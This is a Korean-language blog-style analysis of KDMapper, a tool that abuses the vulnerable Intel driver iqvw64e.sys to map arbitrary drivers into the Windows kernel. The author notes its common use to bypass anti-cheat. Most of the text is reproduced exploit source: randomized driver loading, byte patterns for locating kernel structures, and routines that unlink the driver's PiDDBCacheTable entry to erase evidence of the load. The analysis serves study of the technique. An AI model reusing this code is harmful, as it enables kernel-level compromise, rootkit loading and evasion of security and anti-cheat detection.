1. KDMapper
KDMapper๋ ์ทจ์ฝํ ์ธํ
๋คํธ์ํฌ ์ด๋ํฐ ์ง๋จ ๋๋ผ์ด๋ฒ(iqvw64e.sys)๋ฅผ ์ด์ฉํ์ฌ ๋๋ผ์ด๋ฒ๋ฅผ ์ปค๋์ ๋งคํํด์ฃผ๋ ํด์
๋๋ค.
์ฃผ๋ก ์ํฐ ์นํธ ์๋ฃจ์
์ฐํ๋ก ๋ง์ด ์ฐ์ด๊ธฐ ๋๋ฌธ์ ํด๋น ์ง์์ ๋ํ ํ์์ฑ์ ๋๋ผ๊ฒ ๋์๊ณ , ๋ถ์ํด๋ณด์์ต๋๋ค.
1.1 Main
๋ฉ์ธ ํจ์์
๋๋ค.
1.
intel_driver::Load() ํจ์๋ฅผ ์ด์ฉํ์ฌ ์ทจ์ฝํ ๋๋ผ์ด๋ฒ๋ฅผ ๋ก๋ ๋ฐ ๋ฉํ๋ฐ์ดํฐ๋ฅผ ์ญ์ ํ๊ณ ํด๋น ๋๋ผ์ด๋ฒ ํธ๋ค์ ๋ฐํํฉ๋๋ค.
a.
free ํ๋ผ๋ฏธํฐ๋ฅผ ์
๋ ฅ๋ฐ์ ๊ฒฝ์ฐ ๋งคํํ ๋๋ผ์ด๋ฒ๋ฅผ unloadํฉ๋๋ค.
2.
kdmapper::MapDriver() ํจ์๋ฅผ ์ด์ฉํ์ฌ ์ฌ์ฉ์๊ฐ ์ ๋ฌํ ๋๋ผ์ด๋ฒ๋ฅผ ์ปค๋์ ๋งคํํด์ค๋๋ค.
int wmain(const int argc, wchar_t** argv) {
SetUnhandledExceptionFilter(SimplestCrashHandler);
if (argc != 2 && argc != 3) {
Log(L"Usage: kdmapper.exe [--free] driver" << std::endl);
return -1;
}
bool free = false;
int drvIndex = 1;
if (argc > 2) {
if (_wcsicmp(argv[1], L"--free") == 0 || _wcsicmp(argv[1], L"/free") == 0) {
free = true;
drvIndex = 2;
}
else if (_wcsicmp(argv[2], L"--free") == 0 || _wcsicmp(argv[2], L"/free") == 0) {
free = true;
}
}
if (free) {
Log(L"[+] Free pool memory after usage enabled" << std::endl);
}
if(std::filesystem::path(argv[drvIndex]).extension().string().compare(".sys") || argc == 3 && !free) {
Log(L"Usage: kdmapper.exe [--free] driver" << std::endl);
return -1;
}
const std::wstring driver_path = argv[drvIndex];
if (!std::filesystem::exists(driver_path)) {
Log(L"[-] File " << driver_path << L" doesn't exist" << std::endl);
return -1;
}
iqvw64e_device_handle = intel_driver::Load(); //iqvw64e.sys ๋๋ผ์ด๋ฒ ๋ก๋ ๋ฐ ํธ๋ค ๋ฆฌํด
if (iqvw64e_device_handle == INVALID_HANDLE_VALUE)
return -1;
if (!kdmapper::MapDrniver(iqvw64e_device_handle, driver_path, 0, 0, free, true)) {
Log(L"[-] Failed to map " << driver_path << std::endl);
intel_driver::Unload(iqvw64e_device_handle);
return -1;
}
intel_driver::Unload(iqvw64e_device_handle);
Log(L"[+] success" << std::endl);
}
C
๋ณต์ฌ
1.2 intel_driver::Load()
ํด๋น ํจ์์์๋ ์ทจ์ฝํ ๋๋ผ์ด๋ฒ๋ฅผ ๋ก๋ํ๊ณ , ํด๋น ๋๋ผ์ด๋ฒ์ ๋ํ ๋ฉํ ๋ฐ์ดํฐ๋ฅผ ์ญ์ ํฉ๋๋ค.
ํด๋น ํํธ์์ ์ฒ์ ๋ณด๋ PiDDBCacheTable, KernelHashBucketList์ ๋ํ ๋ด์ฉ๊ณผ
MiRememberUnloadDriver() ํจ์๊ฐ ์ด๋ป๊ฒ Unloadํ ๋๋ผ์ด๋ฒ๋ฅผ ์ฐพ๋์ง์ ๋ํ ๋ด์ฉ์ ์๊ฒ๋์์ต๋๋ค.
ํด๋น ํจ์ ์์ ์์ฝ๊ณผ ์์ค์ฝ๋์
๋๋ค.
1.
intel_driver::IsRunning() ํจ์๋ฅผ ์ด์ฉํด ์ทจ์ฝํ ๋๋ผ์ด๋ฒ์ ๋ก๋ ์ ๋ฌด๋ฅผ ํ์ธํฉ๋๋ค.
2.
intel_driver::drvier_name์ ๋๋คํ๊ฒ ์์ฑํฉ๋๋ค.
3.
GetDriverPath() ํจ์๋ฅผ ์ด์ฉํด ์ทจ์ฝํ ๋๋ผ์ด๋ฒ ํ์ผ ๊ฒฝ๋ก๋ฅผ ์์ฑํฉ๋๋ค.
4.
utils::CreateFileFromMemory() ํจ์๋ฅผ ์ด์ฉํด ์ทจ์ฝํ ๋๋ผ์ด๋ฒ ํ์ผ์ ์์ฑํฉ๋๋ค.
5.
service::RegisterAndStart() ํจ์๋ฅผ ์ด์ฉํด ์์ฑํ ์ทจ์ฝํ ๋๋ผ์ด๋ฒ๋ฅผ ๋ก๋ํฉ๋๋ค.
6.
CreateFileW๋ฅผ ์ด์ฉํ์ฌ ๋๋ผ์ด๋ฒ ํธ๋ค์ ํ๋ํฉ๋๋ค.
โข
๋๋ผ์ด๋ฒ ์ด๋ฆ์ Nal์ด ๋ค์ด๊ฐ๋ ์ด์ ๋ ์ทจ์ฝํ ๋๋ผ์ด๋ฒ ์๋น์ค ์ด๋ฆ์ด ์ง์ง Nal์ด์์ต๋๋ค;;
7.
utils::GetKernelModuleAddress() ํจ์๋ฅผ ์ด์ฉํด ntoskrl.exe์ ์ฃผ์๊ฐ์ ํ๋ํฉ๋๋ค.
8.
intel_driver::ClearPiDDBCacheTable() ํจ์๋ฅผ ์ด์ฉํด ์ทจ์ฝํ ๋๋ผ์ด๋ฒ์ PiDDBCacheTable์ ๋์ด๋ฒ๋ฆฝ๋๋ค.
9.
intel_driver::ClearKernelHashBucketList() ํจ์๋ฅผ ์ด์ฉํด ์ทจ์ฝํ ๋๋ผ์ด๋ฒ์ KernelHashBucketList๋ฅผ ๋์ด๋ฒ๋ฆฝ๋๋ค.
10.
intel_driver::ClearMmUnloadedDrivers() ํจ์๋ฅผ ์ด์ฉํด MiRememberUnloadDriver()ํจ์๋ฅผ ์ฐํํฉ๋๋ค.
11.
์ดํ ์ทจ์ฝํ ๋๋ผ์ด๋ฒ ํธ๋ค์ ๋ฆฌํดํฉ๋๋ค.
HANDLE intel_driver::Load() {
srand((unsigned)time(NULL) * GetCurrentThreadId());
//from https://github.com/ShoaShekelbergstein/kdmapper as some Drivers takes same device name
//๋๋ผ์ด๋ฒ ๋ฌ๋ ์ฒดํฌ
if (intel_driver::IsRunning()) {
Log(L"[-] \\Device\\Nal is already in use." << std::endl);
return INVALID_HANDLE_VALUE;
}
//Randomize name for log in registry keys, usn jornal and other shits
//๋๋ผ์ด๋ฒ ๋ค์ Randomize
memset(intel_driver::driver_name, 0, sizeof(intel_driver::driver_name));
static const char alphanum[] =
"abcdefghijklmnopqrstuvwxyz"
"ABCDEFGHIJKLMNOPQRSTUVWXYZ";
int len = rand() % 20 + 10;
for (int i = 0; i < len; ++i)
intel_driver::driver_name[i] = alphanum[rand() % (sizeof(alphanum) - 1)];
Log(L"[<] Loading vulnerable driver, Name: " << GetDriverNameW() << std::endl);
// ๋๋ผ์ด๋ฒ ํ์ผ ๋ง๋ค ๊ฒฝ๋ก ์์ฑ
std::wstring driver_path = GetDriverPath();
if (driver_path.empty()) {
Log(L"[-] Can't find TEMP folder" << std::endl);
return INVALID_HANDLE_VALUE;
}
//ํน์ ๋ชจ๋ฅผ ์ค๋ณต์ ๋ฐฉ์งํ ์ ๊ฑฐ์์
_wremove(driver_path.c_str());
//Vuln ๋๋ผ์ด๋ฒ ํ์ผ ์์ฑ
if (!utils::CreateFileFromMemory(driver_path, reinterpret_cast<const char*>(intel_driver_resource::driver), sizeof(intel_driver_resource::driver))) {
Log(L"[-] Failed to create vulnerable driver file" << std::endl);
return INVALID_HANDLE_VALUE;
}
// ๋๋ผ์ด๋ฒ ๋ก๋
if (!service::RegisterAndStart(driver_path)) {
Log(L"[-] Failed to register and start service for the vulnerable driver" << std::endl);
_wremove(driver_path.c_str());
return INVALID_HANDLE_VALUE;
}
//๋ก๋ํ ๋๋ผ์ด๋ฒ ํธ๋ค ํ๋
HANDLE result = CreateFileW(L"\\\\.\\Nal", GENERIC_READ | GENERIC_WRITE, 0, nullptr, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
if (!result || result == INVALID_HANDLE_VALUE)
{
Log(L"[-] Failed to load driver iqvw64e.sys" << std::endl);
intel_driver::Unload(result);
return INVALID_HANDLE_VALUE;
}
//get ntoskrnl.exe address
ntoskrnlAddr = utils::GetKernelModuleAddress("ntoskrnl.exe");
if (ntoskrnlAddr == 0) {
Log(L"[-] Failed to get ntoskrnl.exe" << std::endl);
intel_driver::Unload(result);
return INVALID_HANDLE_VALUE;
}
if (!intel_driver::ClearPiDDBCacheTable(result)) {
Log(L"[-] Failed to ClearPiDDBCacheTable" << std::endl);
intel_driver::Unload(result);
return INVALID_HANDLE_VALUE;
}
if (!intel_driver::ClearKernelHashBucketList(result)) {
Log(L"[-] Failed to ClearKernelHashBucketList" << std::endl);
intel_driver::Unload(result);
return INVALID_HANDLE_VALUE;
}
if (!intel_driver::ClearMmUnloadedDrivers(result)) {
Log(L"[!] Failed to ClearMmUnloadedDrivers" << std::endl);
intel_driver::Unload(result);
return INVALID_HANDLE_VALUE;
}
return result;
}
C
๋ณต์ฌ
intel_driver::Load() ํจ์ ์ค ์ค์ ํจ์์ ๋ํ ๋ถ์์ ์๋์ ์ ๋ฆฌํด ๋์์ต๋๋ค.
1.2.1 utils::GetKernelModuleAddress
ํด๋น ํจ์์์๋ ํํน์ ์ด์ฉํ ์ปค๋ ๋ชจ๋ ์ฃผ์๊ฐ์ ํ๋ํฉ๋๋ค.
utils::GetKernelModuleAddress() ํจ์๋ฅผ ์ด์ฉํ์ฌ ntoskrnl.exe์ ์ปค๋ ์ฃผ์๊ฐ์ ๊ฐ์ ธ์ต๋๋ค.
1.
NtQuerySystemInformation์ ์ด์ฉํ์ฌ ์์คํ
๋ชจ๋์ ํฌ๊ธฐ๋ฅผ ๊ฐ์ ธ์ต๋๋ค.
2.
๊ฐ์ ธ์จ ๋ชจ๋์ ํฌ๊ธฐ๋งํผ ๋ฒํผ๋ฅผ ํ ๋นํ๊ณ , ์์คํ
๋ชจ๋์ ๊ฐ์ ธ์ต๋๋ค.
3.
๋ชจ๋์ ์ด๋ฆ์ด ํ๋ผ๋ฏธํฐ์ ๊ฐ์ ๋ชจ๋์ ImageBase๋ฅผ ๋ฆฌํดํฉ๋๋ค.
uint64_t utils::GetKernelModuleAddress(const std::string& module_name) {
void* buffer = nullptr;
DWORD buffer_size = 0;
//์์คํ
๋ชจ๋ ํฌ๊ธฐ ํ๋
NTSTATUS status = NtQuerySystemInformation(static_cast<SYSTEM_INFORMATION_CLASS>(nt::SystemModuleInformation), buffer, buffer_size, &buffer_size);
//์์คํ
๋ชจ๋ ์ ๋ณด ํ๋
while (status == nt::STATUS_INFO_LENGTH_MISMATCH) {
VirtualFree(buffer, 0, MEM_RELEASE);
buffer = VirtualAlloc(nullptr, buffer_size, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
status = NtQuerySystemInformation(static_cast<SYSTEM_INFORMATION_CLASS>(nt::SystemModuleInformation), buffer, buffer_size, &buffer_size);
}
if (!NT_SUCCESS(status)) {
if (buffer != 0)
VirtualFree(buffer, 0, MEM_RELEASE);
return 0;
}
const auto modules = static_cast<nt::PRTL_PROCESS_MODULES>(buffer);
if (!modules)
return 0;
for (auto i = 0u; i < modules->NumberOfModules; ++i) {
const std::string current_module_name = std::string(reinterpret_cast<char*>(modules->Modules[i].FullPathName) + modules->Modules[i].OffsetToFileName);
//ํ์ผ ์ด๋ฆ ๋น๊ต
if (!_stricmp(current_module_name.c_str(), module_name.c_str()))
{
// ๊ฐ์ ๊ฒฝ์ฐ ImageBase๋ฆฌํด
const uint64_t result = reinterpret_cast<uint64_t>(modules->Modules[i].ImageBase);
VirtualFree(buffer, 0, MEM_RELEASE);
return result;
}
}
VirtualFree(buffer, 0, MEM_RELEASE);
return 0;
}
C
๋ณต์ฌ
1.2.2 intel_driver::ClearPiDDBCacheTable()
ํด๋น ํจ์์์๋ ์ทจ์ฝํ ๋๋ผ์ด๋ฒ์ PiDDBCacheTable์ ๋ฅผ ๋์ต๋๋ค.
์ฒ์ ๋ณด๋ ์ปค๋ ๊ธ๋ก๋ฒ ๋ณ์์ธ PiDDBlock(_ERESOURCE), PiDDBCacheTable(_RTL_AVL_TABLE)๊ณผ
PiDDBCacheTable์ List๋ฅผ ๋๊ธฐ ์ํ PiDDBCacheEntry ๊ตฌ์กฐ์ฒด๋ฅผ ์ฌ์ฉํฉ๋๋ค.
//Find Pattern
"\x81\xFB\x6C\x03\x00\xC0\x0F\x84\x00\x00\x00\x00\x48\x8D\x0D" // 81 FB 6C 03 00 C0 0F 84 ? ? ? ? 48 8D 0D //PiDDBCacheTable
"\x66\x03\xD2\x48\x8D\x0D" // 66 03 D2 48 8D 0D //PiDDBlock
//PiDDBCacheTable
PAGEDATA:0000000140D2E000 ?? ?? ?? ?? ?? ?? ?? ??+PiDDBCacheTable RTL_AVL_TABLE <?> ; DATA XREF: PiLookupInDDBCache+22โo
00000000 RTL_AVL_TABLE struc ; (sizeof=0x68, align=0x8, copyof_2415)
00000000 ; XREF: .data:PopDirectedDripsUmTestDeviceTable/r
00000000 ; .data:PowerRequestStatsDatabase/r ...
00000000 BalancedRoot _RTL_BALANCED_LINKS ?
00000000 _RTL_BALANCED_LINKS struc ; (sizeof=0x20, align=0x8, copyof_1503)
00000000 ; XREF: RTL_AVL_TABLE/r
00000000 Parent dq ? ; offset
00000008 LeftChild dq ? ; offset
00000010 RightChild dq ? ; offset
00000018 Balance db ?
00000019 Reserved db 3 dup(?)
0000001C db ? ; undefined
0000001D db ? ; undefined
0000001E db ? ; undefined
0000001F db ? ; undefined
00000020 _RTL_BALANCED_LINKS ends
00000020 OrderedPointer dq ? ; offset
00000028 WhichOrderedElement dd ?
0000002C NumberGenericTableElements dd ?
00000030 DepthOfTree dd ?
00000034 db ? ; undefined
00000035 db ? ; undefined
00000036 db ? ; undefined
00000037 db ? ; undefined
00000038 RestartKey dq ? ; offset
00000040 DeleteCount dd ?
00000044 db ? ; undefined
00000045 db ? ; undefined
00000046 db ? ; undefined
00000047 db ? ; undefined
00000048 CompareRoutine dq ? ; offset
00000050 AllocateRoutine dq ? ; offset
00000058 FreeRoutine dq ? ; offset
00000060 TableContext dq ? ; XREF: PiLookupInDDBCache+36/w
00000060 ; PiUpdateDriverDBCache+5B/w ; offset
00000068 RTL_AVL_TABLE ends
// PiDDBlock
.data:0000000140C44840 ?? ?? ?? ?? ?? ?? ?? ??+PiDDBLock _ERESOURCE <?> ; DATA XREF: PpCheckInDriverDatabase+5Cโo
00000000 _ERESOURCE struc ; (sizeof=0x68, align=0x8)
00000000 ; XREF: .data:AdtpSourceModuleLock/r
00000000 ; .data:ExpTimeRefreshLock/r ...
00000000 SystemResourcesList _LIST_ENTRY ?
00000010 OwnerTable dq ? ; offset
00000018 ActiveCount dw ?
0000001A ___u3 $74FB5A5CBAA2B8762D7C13720D9EFBD6 ?
0000001A ; XREF: ExTryConvertSharedToExclusiveLite+4/r
0000001C db ? ; undefined
0000001D db ? ; undefined
0000001E db ? ; undefined
0000001F db ? ; undefined
00000020 SharedWaiters dq ? ; offset
00000028 ExclusiveWaiters dq ? ; offset
00000030 OwnerEntry _OWNER_ENTRY ? ; XREF: ExpTryConvertSharedToExclusiveLite+76/o
00000030 ; ExpTryConvertSharedToExclusiveLite+85/w ...
00000040 ActiveEntries dd ?
00000044 ContentionCount dd ?
00000048 NumberOfSharedWaiters dd ?
0000004C NumberOfExclusiveWaiters dd ?
00000050 Reserved2 dq ? ; offset
00000058 ___u12 $FA8F2364BE4EE7049C389A9C36002332 ?
00000060 SpinLock dq ? ; XREF: ExpTryConvertSharedToExclusiveLite+14/o
00000068 _ERESOURCE ends
typedef struct _PiDDBCacheEntry
{
LIST_ENTRY List;
UNICODE_STRING DriverName;
ULONG TimeDateStamp;
NTSTATUS LoadStatus;
char _0x0028[16]; // data from the shim engine, or uninitialized memory for custom drivers
} PiDDBCacheEntry, * NPiDDBCacheEntry;
C
๋ณต์ฌ
ํจ์ ์ ์ฒด ์์ค์ฝ๋์
๋๋ค. ํจ์์ ์ฌ์ด์ฆ๊ฐ ํฌ๊ธฐ ๋๋ฌธ์ ํจ์๋ณ๋ก ๋ถ์ํ๊ฒ ์ต๋๋ค.
bool intel_driver::ClearPiDDBCacheTable(HANDLE device_handle) { //PiDDBCacheTable added on LoadDriver
PiDDBLockPtr = FindPatternInSectionAtKernel(device_handle, (char*)"PAGE", intel_driver::ntoskrnlAddr, (PUCHAR)"\x81\xFB\x6C\x03\x00\xC0\x0F\x84\x00\x00\x00\x00\x48\x8D\x0D", (char*)"xxxxxxxx????xxx"); // 81 FB 6C 03 00 C0 0F 84 ? ? ? ? 48 8D 0D update for build 21286 etc...
PiDDBCacheTablePtr = FindPatternInSectionAtKernel(device_handle, (char*)"PAGE", intel_driver::ntoskrnlAddr, (PUCHAR)"\x66\x03\xD2\x48\x8D\x0D", (char*)"xxxxxx");
if (PiDDBLockPtr == NULL || PiDDBCacheTablePtr == NULL) {
Log(L"[-] Warning no PiDDBCacheTable Found" << std::endl);
return false;
}
Log("[+] PiDDBLock Ptr 0x" << std::hex << PiDDBLockPtr << std::endl);
Log("[+] PiDDBCacheTable Ptr 0x" << std::hex << PiDDBCacheTablePtr << std::endl);
//PiDDBLock, PiDDBCacheTable ์ฃผ์๊ฐ ํ๋
PVOID PiDDBLock = ResolveRelativeAddress(device_handle, (PVOID)PiDDBLockPtr, 15, 19);
PRTL_AVL_TABLE PiDDBCacheTable = (PRTL_AVL_TABLE)ResolveRelativeAddress(device_handle, (PVOID)PiDDBCacheTablePtr, 6, 10);
//PiDDBCacheTable์ TableContext๋ฅผ ํ์ธํ์ฌ 0์ผ๊ฒฝ์ฐ 1๋ก ๋ณ๊ฒฝ
ULONG64 prevContext = 0;
ULONG64 targetContext = 1;
if (!ReadMemory(device_handle, (uintptr_t)PiDDBCacheTable + (offsetof(struct _RTL_AVL_TABLE, TableContext)), &prevContext, sizeof(ULONG64))) {
Log(L"[-] Can't get read piddbcache table context" << std::endl);
return false;
}
if (prevContext != targetContext) {
WriteMemory(device_handle, (uintptr_t)PiDDBCacheTable + (offsetof(struct _RTL_AVL_TABLE, TableContext)), &targetContext, sizeof(ULONG64));
}
//fixed previous SetMemory leaving wrong context
// PiDDB ๋ฆฌ์์ค ๋
์
if (!ExAcquireResourceExclusiveLite(device_handle, PiDDBLock, true)) {
Log(L"[-] Can't lock PiDDBCacheTable" << std::endl);
return false;
}
Log(L"[+] PiDDBLock Locked" << std::endl);
// search our entry in the table
PiDDBCacheEntry* pFoundEntry = (PiDDBCacheEntry*)LookupEntry(device_handle, PiDDBCacheTable, iqvw64e_timestamp);
if (pFoundEntry == nullptr) {
Log(L"[-] Not found in cache" << std::endl);
ExReleaseResourceLite(device_handle, PiDDBLock);
return false;
}
// first, unlink from the list
PLIST_ENTRY prev;
if (!ReadMemory(device_handle, (uintptr_t)pFoundEntry + (offsetof(struct _PiDDBCacheEntry, List.Blink)), &prev, sizeof(_LIST_ENTRY*))) {
Log(L"[-] Can't get prev entry" << std::endl);
ExReleaseResourceLite(device_handle, PiDDBLock);
return false;
}
PLIST_ENTRY next;
if (!ReadMemory(device_handle, (uintptr_t)pFoundEntry + (offsetof(struct _PiDDBCacheEntry, List.Flink)), &next, sizeof(_LIST_ENTRY*))) {
Log(L"[-] Can't get next entry" << std::endl);
ExReleaseResourceLite(device_handle, PiDDBLock);
return false;
}
Log("[+] Found Table Entry = 0x" << std::hex << pFoundEntry << std::endl);
if (!WriteMemory(device_handle, (uintptr_t)prev + (offsetof(struct _LIST_ENTRY, Flink)), &next, sizeof(_LIST_ENTRY*))) {
Log(L"[-] Can't set next entry" << std::endl);
ExReleaseResourceLite(device_handle, PiDDBLock);
return false;
}
if (!WriteMemory(device_handle, (uintptr_t)next + (offsetof(struct _LIST_ENTRY, Blink)), &prev, sizeof(_LIST_ENTRY*))) {
Log(L"[-] Can't set prev entry" << std::endl);
ExReleaseResourceLite(device_handle, PiDDBLock);
return false;
}
// then delete the element from the avl table. vuln Driver์
if (!RtlDeleteElementGenericTableAvl(device_handle, PiDDBCacheTable, pFoundEntry)) {
Log(L"[-] Can't delete from PiDDBCacheTable" << std::endl);
ExReleaseResourceLite(device_handle, PiDDBLock);
return false;
}
//Decrement delete count
ULONG cacheDeleteCount = 0;
ReadMemory(device_handle, (uintptr_t)PiDDBCacheTable + (offsetof(struct _RTL_AVL_TABLE, DeleteCount)), &cacheDeleteCount, sizeof(ULONG));
if (cacheDeleteCount > 0) {
cacheDeleteCount--;
WriteMemory(device_handle, (uintptr_t)PiDDBCacheTable + (offsetof(struct _RTL_AVL_TABLE, DeleteCount)), &cacheDeleteCount, sizeof(ULONG));
}
//Restore context if wasn't 1
if (prevContext != targetContext) {
WriteMemory(device_handle, (uintptr_t)PiDDBCacheTable + (offsetof(struct _RTL_AVL_TABLE, TableContext)), &prevContext, sizeof(ULONG64));
}
// release the ddb resource lock. ๋ฆฌ์์ค ๋ฆด๋ฆฌ์ฆ
ExReleaseResourceLite(device_handle, PiDDBLock);
Log(L"[+] PiDDBCacheTable Cleaned" << std::endl);
return true;
}
C
๋ณต์ฌ
1.
ํจํด์ ์ด์ฉํ์ฌ PiDDBLock๊ณผ PiDDBCacheTable์ ์ฐธ์กฐํ๋ ์ฃผ์๊ฐ์ ํ๋ํฉ๋๋ค.
PiDDBLockPtr = FindPatternInSectionAtKernel(device_handle, (char*)"PAGE", intel_driver::ntoskrnlAddr, (PUCHAR)"\x81\xFB\x6C\x03\x00\xC0\x0F\x84\x00\x00\x00\x00\x48\x8D\x0D", (char*)"xxxxxxxx????xxx"); // 81 FB 6C 03 00 C0 0F 84 ? ? ? ? 48 8D 0D update for build 21286 etc...
PiDDBCacheTablePtr = FindPatternInSectionAtKernel(device_handle, (char*)"PAGE", intel_driver::ntoskrnlAddr, (PUCHAR)"\x66\x03\xD2\x48\x8D\x0D", (char*)"xxxxxx");
if (PiDDBLockPtr == NULL || PiDDBCacheTablePtr == NULL) {
Log(L"[-] Warning no PiDDBCacheTable Found" << std::endl);
return false;
}
Log("[+] PiDDBLock Ptr 0x" << std::hex << PiDDBLockPtr << std::endl);
Log("[+] PiDDBCacheTable Ptr 0x" << std::hex << PiDDBCacheTablePtr << std::endl);
C
๋ณต์ฌ
2.
ํ๋ํ ์ฃผ์๊ฐ์ผ๋ก ํด๋น ๋ณ์์ ์ฃผ์๊ฐ์ ํ๋ํฉ๋๋ค.
//PiDDBLock, PiDDBCacheTable ์ฃผ์๊ฐ ํ๋
PVOID PiDDBLock = ResolveRelativeAddress(device_handle, (PVOID)PiDDBLockPtr, 15, 19);
PRTL_AVL_TABLE PiDDBCacheTable = (PRTL_AVL_TABLE)ResolveRelativeAddress(device_handle, (PVOID)PiDDBCacheTablePtr, 6, 10);
C
๋ณต์ฌ
3.
PiDDBCacheTable์ TableContext ๊ฐ์ด 0์ธ ๊ฒฝ์ฐ 1๋ก ๋ณ๊ฒฝํฉ๋๋ค.
ํด๋น ๊ฐ์ ์ ๋ณ๊ฒฝํด์ผ ํ๋์ง์ ๋ํ ์ด์ ๋ ์์ง ์ฐพ์ง ๋ชปํ์ต๋๋ค.
์๋ง Table์ ๊ฐ์ ์์ ํด์ผ ํ ๊ฒฝ์ฐ 1๋ก Setํด์ผ ํ๋ ๊ฒ์ผ๋ก ๋ณด์
๋๋ค.
ULONG64 prevContext = 0;
ULONG64 targetContext = 1;
if (!ReadMemory(device_handle, (uintptr_t)PiDDBCacheTable + (offsetof(struct _RTL_AVL_TABLE, TableContext)), &prevContext, sizeof(ULONG64))) {
Log(L"[-] Can't get read piddbcache table context" << std::endl);
return false;
}
if (prevContext != targetContext) {
WriteMemory(device_handle, (uintptr_t)PiDDBCacheTable + (offsetof(struct _RTL_AVL_TABLE, TableContext)), &targetContext, sizeof(ULONG64));
}
//fixed previous SetMemory leaving wrong context
C
๋ณต์ฌ
4.
PiDDBTable์ ์์ ํ๊ธฐ์ํด PiDDBlock์ ์ด์ฉํด ํด๋น ํ
์ด๋ธ์ ๋ฆฌ์์ค๋ฅผ ๋
์ ํฉ๋๋ค.
if (!ExAcquireResourceExclusiveLite(device_handle, PiDDBLock, true)) {
Log(L"[-] Can't lock PiDDBCacheTable" << std::endl);
return false;
}
Log(L"[+] PiDDBLock Locked" << std::endl);
C
๋ณต์ฌ
5.
LookupEntry ํจ์๋ฅผ ์ด์ฉํด ์ทจ์ฝํ ๋๋ผ์ด๋ฒ์ PiDDBCacheEntry๋ฅผ ํ๋ํฉ๋๋ค.
// search our entry in the table
PiDDBCacheEntry* pFoundEntry = (PiDDBCacheEntry*)LookupEntry(device_handle, PiDDBCacheTable, iqvw64e_timestamp);
if (pFoundEntry == nullptr) {
Log(L"[-] Not found in cache" << std::endl);
ExReleaseResourceLite(device_handle, PiDDBLock);
return false;
}
C
๋ณต์ฌ
โข
LookupEntry ํจ์
intel_driver::PiDDBCacheEntry* intel_driver::LookupEntry(HANDLE device_handle, PRTL_AVL_TABLE PiDDBCacheTable, ULONG timestamp) {
PiDDBCacheEntry* firstEntry;
//PiDDBCacheTable์ BalancedRoot.RightChild ๊ฐ์ ๊ฐ์ ธ์ต๋๋ค.
if (!ReadMemory(device_handle, (uintptr_t)PiDDBCacheTable + (offsetof(struct _RTL_AVL_TABLE, BalancedRoot.RightChild)), &firstEntry, sizeof(_RTL_BALANCED_LINKS*))) {
return nullptr;
}
//Balanced_links ์ฌ์ด์ฆ๋งํผ firstEntry ๋ํฉ๋๋ค. ์๋ํ๋ฉด RTL_BALANCED_LINKS ๋ฐ์ PiDDBCacheEntry๊ฐ ์กด์ฌํ๊ธฐ ๋๋ฌธ์
๋๋ค.
(*(uintptr_t*)&firstEntry) += sizeof(RTL_BALANCED_LINKS);
//์ดํ Flink๋ฅผ cache_entry์ ๋ฃ๊ณ ์ํํ๋ฉด์ TimeStamp๊ฐ ์ผ์นํ๋ PiDDBCacheEntry๋ฅผ ์ฐพ์ต๋๋ค.
PiDDBCacheEntry* cache_entry;
if (!ReadMemory(device_handle, (uintptr_t)firstEntry + (offsetof(struct _PiDDBCacheEntry, List.Flink)), &cache_entry, sizeof(_LIST_ENTRY*))) {
return nullptr;
}
while (TRUE) {
ULONG itemTimeDateStamp = 0;
if (!ReadMemory(device_handle, (uintptr_t)cache_entry + (offsetof(struct _PiDDBCacheEntry, TimeDateStamp)), &itemTimeDateStamp, sizeof(ULONG))) {
return nullptr;
}
if (itemTimeDateStamp == timestamp) {
Log("[+] PiDDBCacheTable result -> TimeStamp: " << itemTimeDateStamp << std::endl);
return cache_entry;
}
if ((uintptr_t)cache_entry == (uintptr_t)firstEntry) {
break;
}
if (!ReadMemory(device_handle, (uintptr_t)cache_entry + (offsetof(struct _PiDDBCacheEntry, List.Flink)), &cache_entry, sizeof(_LIST_ENTRY*))) {
return nullptr;
}
}
return nullptr;
}
C
๋ณต์ฌ
PiDDBCacheEntry in Kernel
1: kd> dqs nt!PiDDBCacheTable
fffff802`43f76f30 fffff802`43f76f30 nt!PiDDBCacheTable
1: kd> dt _RTL_AVL_TABLE fffff802`43f76f30
nt!_RTL_AVL_TABLE
+0x000 BalancedRoot : _RTL_BALANCED_LINKS
+0x020 OrderedPointer : (null)
+0x028 WhichOrderedElement : 0
+0x02c NumberGenericTableElements : 0x88
+0x030 DepthOfTree : 9
+0x038 RestartKey : (null)
+0x040 DeleteCount : 0
+0x048 CompareRoutine : 0xfffff802`43c75740 _RTL_GENERIC_COMPARE_RESULTS nt!PiCompareDDBCacheEntries+0
+0x050 AllocateRoutine : 0xfffff802`43c7e240 void* nt!PnpAllocateGenericTableEntry+0
+0x058 FreeRoutine : 0xfffff802`43cef180 void nt!CMFFreeFn+0
+0x060 TableContext : 0x00000000`00000001 Void
// AVL Tree(์ด์ง ํธ๋ฆฌ) ๊ตฌ์กฐ์ด๋ฉฐ, RightChild๋ถํฐ ์์ํ๋๊ฑธ ๋ณผ ์ ์์ต๋๋ค.
1: kd> dx -id 0,0,ffffbe85287ec1c0 -r1 (*((ntkrnlmp!_RTL_BALANCED_LINKS *)0xfffff80243f76f30))
(*((ntkrnlmp!_RTL_BALANCED_LINKS *)0xfffff80243f76f30)) [Type: _RTL_BALANCED_LINKS]
[+0x000] Parent : 0xfffff80243f76f30 [Type: _RTL_BALANCED_LINKS *]
[+0x008] LeftChild : 0x0 [Type: _RTL_BALANCED_LINKS *]
[+0x010] RightChild : 0xffff8f80e8378370 [Type: _RTL_BALANCED_LINKS *]
[+0x018] Balance : 0 [Type: char]
[+0x019] Reserved [Type: unsigned char [3]]
1: kd> dqs 0xffff8f80e8378370
ffff8f80`e8378370 fffff802`43f76f30 nt!PiDDBCacheTable //_RTL_BALANCED_LINKS.Parent
ffff8f80`e8378378 ffff8f80`e82cd370 //_RTL_BALANCED_LINKS.LeftChild
ffff8f80`e8378380 ffff8f80`e8378b50 //_RTL_BALANCED_LINKS.RightChild
ffff8f80`e8378388 00000000`00000001 // Balance and Reserved
ffff8f80`e8378390 ffff8f80`e8378b70 // PiDDBCacheEntry.LIST.FLink
ffff8f80`e8378398 ffff8f80`e8378550 // PiDDBCacheEntry.LIST.BLink
ffff8f80`e83783a0 0018 // UNICODE_STRING.Length
ffff8f80`e83783a2 0018 // UNICODE_STRING.MaximumLength
ffff8f80`e83783a4 00000000 // ???
ffff8f80`e83783a8 ffff8f80`e82d51c0 // UNICODE_STRING.Buffer
ffff8f80`e83783b0 00000000`51b1cf46 // TimeStamp
